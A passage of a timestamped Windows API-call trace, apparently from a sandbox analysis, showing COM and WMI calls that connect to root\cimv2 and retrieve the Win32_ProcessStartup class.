riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0087.667] IUnknown:Release (This=0x111f638) returned 0x1 [0087.669] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c023040) returned 0x0 [0087.669] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c023040, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0087.670] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c023040, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea1df0) returned 0x0 [0087.670] WbemDefPath:IUnknown:Release (This=0x1c023040) returned 0x0 [0087.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea1df0) returned 0x0 [0087.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0087.670] WbemDefPath:IUnknown:AddRef (This=0x1bea1df0) returned 0x3 [0087.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0087.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0087.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c022fa0) returned 0x0 [0087.670] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c022fa0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.670] WbemDefPath:IUnknown:Release (This=0x1c022fa0) returned 0x3 [0087.670] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0087.671] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0087.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0087.671] WbemDefPath:IUnknown:Release (This=0x1bea1df0) returned 0x2 [0087.671] WbemDefPath:IUnknown:Release (This=0x1bea1df0) returned 0x1 [0087.671] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0087.671] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0087.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea1df0) returned 0x0 [0087.671] WbemDefPath:IUnknown:AddRef (This=0x1bea1df0) returned 0x3 [0087.671] WbemDefPath:IUnknown:Release (This=0x1bea1df0) returned 0x2 [0087.671] WbemDefPath:IWbemPath:SetText (This=0x1bea1df0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0087.671] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1df0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0087.671] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1df0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0087.671] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1df0, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0087.671] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1df0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0087.671] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1df0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0087.671] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1df0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0087.671] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1df0, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0087.671] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0087.671] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0087.671] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.671] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0087.672] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0087.672] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0087.672] IUnknown:Release (This=0x111f638) returned 0x1 [0087.674] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1c022fc0) returned 0x0 [0087.674] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c022fc0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0087.674] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c022fc0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bea1d30) returned 0x0 [0087.674] WbemDefPath:IUnknown:Release (This=0x1c022fc0) returned 0x0 [0087.674] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bea1d30) returned 0x0 [0087.674] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0087.675] WbemDefPath:IUnknown:AddRef (This=0x1bea1d30) returned 0x3 [0087.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0087.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0087.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1c022d60) returned 0x0 [0087.675] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c022d60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.675] WbemDefPath:IUnknown:Release (This=0x1c022d60) returned 0x3 [0087.675] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0087.675] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0087.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0087.675] WbemDefPath:IUnknown:Release (This=0x1bea1d30) returned 0x2 [0087.675] WbemDefPath:IUnknown:Release (This=0x1bea1d30) returned 0x1 [0087.675] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0087.675] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0087.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bea1d30) returned 0x0 [0087.675] WbemDefPath:IUnknown:AddRef (This=0x1bea1d30) returned 0x3 [0087.675] WbemDefPath:IUnknown:Release (This=0x1bea1d30) returned 0x2 [0087.676] WbemDefPath:IWbemPath:SetText (This=0x1bea1d30, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0087.676] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1d30, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0087.676] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1d30, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0087.676] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1d30, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.676] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0087.676] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0087.676] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0087.676] IUnknown:Release (This=0x111f638) returned 0x1 [0087.677] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1c022dc0) returned 0x0 [0087.677] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022dc0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0087.677] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c022dc0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1c022a20) returned 0x0 [0087.677] WbemLocator:IUnknown:Release (This=0x1c022dc0) returned 0x0 [0087.677] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022a20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1c022a20) returned 0x0 [0087.677] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022a20, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0087.678] WbemLocator:IUnknown:AddRef (This=0x1c022a20) returned 0x3 [0087.678] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022a20, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0087.678] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022a20, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0087.678] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022a20, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0087.678] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0087.678] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0087.678] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022a20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0087.678] WbemLocator:IUnknown:Release (This=0x1c022a20) returned 0x2 [0087.678] WbemLocator:IUnknown:Release (This=0x1c022a20) returned 0x1 [0087.678] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0087.678] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0087.678] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022a20, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1c022a20) returned 0x0 [0087.678] WbemLocator:IUnknown:AddRef (This=0x1c022a20) returned 0x3 [0087.679] WbemLocator:IUnknown:Release (This=0x1c022a20) returned 0x2 [0087.679] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1d30, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0087.679] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1d30, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0087.679] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1d30, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.679] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1c022a40) returned 0x0 [0087.679] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c022a40, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf00cf0) returned 0x0 [0087.854] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00cf0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11e0aa0) returned 0x0 [0087.854] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11e0aa0, pProxy=0x1bf00cf0, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0087.854] WbemLocator:IUnknown:Release (This=0x11e0aa0) returned 0x1 [0087.854] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00cf0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11e0ae0) returned 0x0 [0087.854] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00cf0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11e0aa0) returned 0x0 [0087.855] WbemLocator:IClientSecurity:SetBlanket (This=0x11e0aa0, pProxy=0x1bf00cf0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0087.855] WbemLocator:IUnknown:Release (This=0x11e0aa0) returned 0x2 [0087.855] WbemLocator:IUnknown:Release (This=0x11e0ae0) returned 0x1 [0087.855] CoTaskMemFree (pv=0x11dd540) [0087.855] WbemLocator:IUnknown:AddRef (This=0x1bf00cf0) returned 0x2 [0087.855] WbemLocator:IUnknown:Release (This=0x1c022a40) returned 0x0 [0087.856] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0087.856] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0087.856] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00cf0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11e0ab0) returned 0x0 [0087.856] WbemLocator:IRpcOptions:Query (in: This=0x11e0ab0, pPrx=0x1c022b20, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0087.856] WbemLocator:IUnknown:Release (This=0x11e0ab0) returned 0x2 [0087.856] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0087.856] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0087.856] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00cf0, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf00cf0) returned 0x0 [0087.856] WbemLocator:IUnknown:Release (This=0x1bf00cf0) returned 0x2 [0087.856] SysStringLen (param_1=0x0) returned 0x0 [0087.856] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1df0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0087.857] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1df0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0087.857] IWbemServices:GetObject (in: This=0x1bf00cf0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bef6d00, ppCallResult=0x0) returned 0x0 [0087.860] IWbemClassObject:Get (in: This=0x1bef6d00, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0087.860] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0087.860] 